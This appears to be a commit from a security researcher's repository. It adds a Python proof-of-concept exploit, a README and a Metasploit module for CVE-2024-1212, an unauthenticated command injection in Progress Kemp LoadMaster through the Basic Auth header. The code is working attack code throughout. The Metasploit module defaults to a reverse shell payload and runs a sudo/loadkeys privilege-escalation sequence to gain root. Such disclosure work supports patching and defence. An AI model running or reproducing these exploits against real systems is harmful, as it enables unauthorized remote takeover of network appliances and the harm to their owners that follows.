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DaveYesland committed Mar 19, 2024
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33 changes: 33 additions & 0 deletions CVE-2024-1212/CVE-2024-1212.py
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# Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster
# Tested on: LoadMaster 7.2.59.0.22007
# Author: Dave Yesland @daveysec with Rhino Security Labs

import requests
from requests.auth import HTTPBasicAuth
import argparse

requests.packages.urllib3.disable_warnings()

argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster")
argparser.add_argument('target', help='The target (https://LoadmasterIP)')
argparser.add_argument('command', help='The command to run')
args = argparser.parse_args()

target = args.target
command = args.command

normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"]

# Fix colons as it will break the basic auth
command = command.replace(":", "$'\\x3a'")

url = f"{target}/access/set?param=enableapi&value=1"
r = requests.get(url, auth=HTTPBasicAuth(f"';{command};echo '", "anything"), verify=False)
for key, value in r.headers.items():
if key not in normal_headers:
print(f"{key}: {value}")
for line in r.text.splitlines():
if line == ' -p anything':
break
else:
print(line)
20 changes: 20 additions & 0 deletions CVE-2024-1212/README.md
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# CVE-2024-1212: Unauthenticated RCE in Progress Kemp LoadMaster

## Information
**Description:** This allows remote code execution in the Progress Kemp LoadMaster via the admin web service.
**Versions Affected:** All LoadMaster releases after 7.2.48.1
**Version Fixed:** 7.2.59.2 (GA), 7.2.54.8 (LTSF), 7.2.48.10 (LTS)
**Researcher:** Dave Yesland
**Disclosure Link:** PLACEHOLDER
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-1212
**Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212

## Proof-of-Concept Exploit
### Description
The exploit bypasses API restrictions and executes commands through a command injection in the basic authorization header.

### Usage/Exploitation
`python3 CVE-2024-1212.py https://LM_host 'ls'`

### Screenshot
![Alt-text that shows up on hover](poc_image.gif)
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in
Progress Kemp LoadMaster, versions before 7.2.59.2.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1212'],
['URL', 'https://kemptechnologies.com/kemp-load-balancers'],
['URL', 'https://www.rhinosecuritylabs.com/']
],
'DisclosureDate' => '2024',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
'SSL' => true,
'RPORT' => 443
},
'Payload' =>
{
'BadChars' => "\x3a\x27"
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
])

@first_session_timestamp = nil
end

def exploit
uri = normalize_uri(target_uri.path, 'access', 'set')

print_status("Sending payload...")

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'param' => 'enableapi',
'value' => "1"
},
'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
'verify' => false
})
end

def on_new_session(session)
# Kill the session if it was initiated too close to the first session
# This command injection tends to execute twice, so we want to kill
# the second session. Probably a better way to do this but I don't know it.
super
current_time = Time.now.to_i
if @first_session_timestamp.nil?
@first_session_timestamp = current_time
elsif current_time - @first_session_timestamp < 5
print_error("Detected a session initiated too close to the first session. Terminating it.")
session.kill
end

# Run privesc commands if PRIVESC is set to true
if datastore['PRIVESC']
execute_privesc_command(session)
else
print_status('Privilege escalation skipped.')
end
end

def execute_privesc_command(session)
print_status("Executing privilege escalation command...")
session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
session.shell_command('sudo /bin/loadkeys -c /bin/bash')
session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
end

def check
print_status("Checking if #{peer} is vulnerable...")

uri = normalize_uri(target_uri.path, 'access', 'set')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'param' => 'enableapi',
'value' => "1"
},
'authorization' => basic_auth("'", 'anything'),
'verify' => false
})

# No response from server
unless res
return CheckCode::Unknown
end

# Check for specific error pattern in headers or body to confirm vulnerability
if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching")
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end

end
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